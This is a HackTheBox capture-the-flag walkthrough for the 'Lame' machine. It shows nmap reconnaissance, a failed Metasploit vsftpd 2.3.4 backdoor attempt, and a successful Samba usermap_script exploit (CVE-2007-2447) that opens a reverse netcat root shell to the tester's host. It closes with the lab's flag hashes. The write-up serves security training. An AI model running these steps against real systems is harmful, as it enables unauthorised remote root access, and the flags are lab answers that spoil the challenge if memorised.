Overview
HackTheBox Lame Walkthrough

HackTheBox Lame Walkthrough

October 10, 2025
5 min read
index

Reconnaissance

First we need to enumerate running services by using nmap tool

Terminal window
┌──(chjwoo㉿hackbox)-[~/hackthebox/machines/lame]
└─$ sudo nmap -sVC -Pn 10.129.255.119 --min-rate=1000 -T4 -oA nmap_results
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-10 21:02 WIB
Stats: 0:00:34 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.82% done; ETC: 21:02 (0:00:00 remaining)
Nmap scan report for 10.129.255.119
Host is up (0.034s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.10.14.62
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| vsFTPd 2.3.4 - secure, fast, stable
|_End of status
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
| 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_smb2-time: Protocol negotiation failed (SMB2)
|_clock-skew: mean: 2h00m36s, deviation: 2h49m46s, median: 33s
| smb-os-discovery:
| OS: Unix (Samba 3.0.20-Debian)
| Computer name: lame
| NetBIOS computer name:
| Domain name: hackthebox.gr
| FQDN: lame.hackthebox.gr
|_ System time: 2025-10-10T10:03:05-04:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 53.94 seconds

Analyzing scan result

  • Port 21, running FTP service with version vsftpd 2.3.4
  • Port 22, running SSH service with version OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
  • Port 139 and 445, running SAMBA service for file transfer

So there’s vulnerability in vsftpd 2.3.4 version that we can try to exploit. I’m using metasploit and refering to this website https://www.rapid7.com/db/modules/exploit/unix/ftp/vsftpd_234_backdoor/

Terminal window
└─$ msfconsole
Metasploit tip: You can upgrade a shell to a Meterpreter session on many
platforms using sessions -u <session_id>
IIIIII dTb.dTb _.---._
II 4' v 'B .'"".'/|\`.""'.
II 6. .P : .' / | \ `. :
II 'T;. .;P' '.' / | \ `.'
II 'T; ;P' `. / | \ .'
IIIIII 'YvP' `-.__|__.-'
I love shells --egypt
=[ metasploit v6.4.84-dev ]
+ -- --=[ 2,547 exploits - 1,309 auxiliary - 1,683 payloads ]
+ -- --=[ 432 post - 49 encoders - 13 nops - 9 evasion ]
Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project
msf > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf exploit(unix/ftp/vsftpd_234_backdoor) > show options
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
Proxies no A proxy chain of format type:host:port[,type:host:port][...]. S
upported proxies: sapni, socks4, socks5, http, socks5h
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-
metasploit/basics/using-metasploit.html
RPORT 21 yes The target port (TCP)
Exploit target:
Id Name
-- ----
0 Automatic
View the full module info with the info, or info -d command.
msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 10.129.255.119
RHOSTS => 10.129.255.119
msf exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 10.129.255.119:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 10.129.255.119:21 - USER: 331 Please specify the password.
[*] Exploit completed, but no session was created.
msf exploit(unix/ftp/vsftpd_234_backdoor) >

Foothold

But unfortunately, the exploit didn’t work. so we must try another entry point. There’s vulnerability in Samba 3.0.20 CVE-2007-2447. Refer to this website https://security.snyk.io/vuln/SNYK-UNMANAGED-SAMBA-2370409

We can just directly hit that CVE with metasploit by using this script exploit/multi/samba/usermap_script.

Terminal window
└─$ msfconsole
Metasploit tip: Use the resource command to run commands from a file
Call trans opt: received. 2-19-98 13:24:18 REC:Loc
Trace program: running
wake up, Neo...
the matrix has you
follow the white rabbit.
knock, knock, Neo.
(`. ,-,
` `. ,;' /
`. ,'/ .'
`. X /.'
.-;--''--.._` ` (
.' / `
, ` ' Q '
, , `._ \
,.| ' `-.;_'
: . ` ; ` ` --,.._;
' ` , ) .'
`._ , ' /_
; ,''-,;' ``-
``-..__``--`
https://metasploit.com
=[ metasploit v6.4.84-dev ]
+ -- --=[ 2,547 exploits - 1,309 auxiliary - 1,683 payloads ]
+ -- --=[ 432 post - 49 encoders - 13 nops - 9 evasion ]
Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project
msf > search Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution
[-] Parse error: Unmatched quote: "search Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution"
msf > search Samba 3.0.20
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/multi/samba/usermap_script 2007-05-14 excellent No Samba "username map script" Command Execution
Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/samba/usermap_script
msf > user exploit/multi/samba/usermap_script
[-] Unknown command: user. Did you mean use? Run the help command for more details.
msf > use exploit/multi/samba/usermap_script
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf exploit(multi/samba/usermap_script) > show options
Module options (exploit/multi/samba/usermap_script):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
Proxies no A proxy chain of format type:host:port[,type:host:port][...]. S
upported proxies: sapni, socks4, socks5, http, socks5h
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-
metasploit/basics/using-metasploit.html
RPORT 139 yes The target port (TCP)
Payload options (cmd/unix/reverse_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.198.129 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
View the full module info with the info, or info -d command.
msf exploit(multi/samba/usermap_script) > set LHOST 10.10.14.62
LHOST => 10.10.14.62
msf exploit(multi/samba/usermap_script) > set LPORT 7777
LPORT => 7777
msf exploit(multi/samba/usermap_script) > set RHOSTS 10.129.255.119
RHOSTS => 10.129.255.119
msf exploit(multi/samba/usermap_script) > exploit
[*] Started reverse TCP handler on 10.10.14.62:7777
[*] Command shell session 1 opened (10.10.14.62:7777 -> 10.129.255.119:43299) at 2025-10-10 21:15:24 +0700
id
uid=0(root) gid=0(root)

And yup we already got the shell with root privilege.

Flags

Terminal window
User's Flag : 0df361763536aecc207cb23e0fa88579
Root's Flag : b1dbd88d77697415b6633ef93ba205be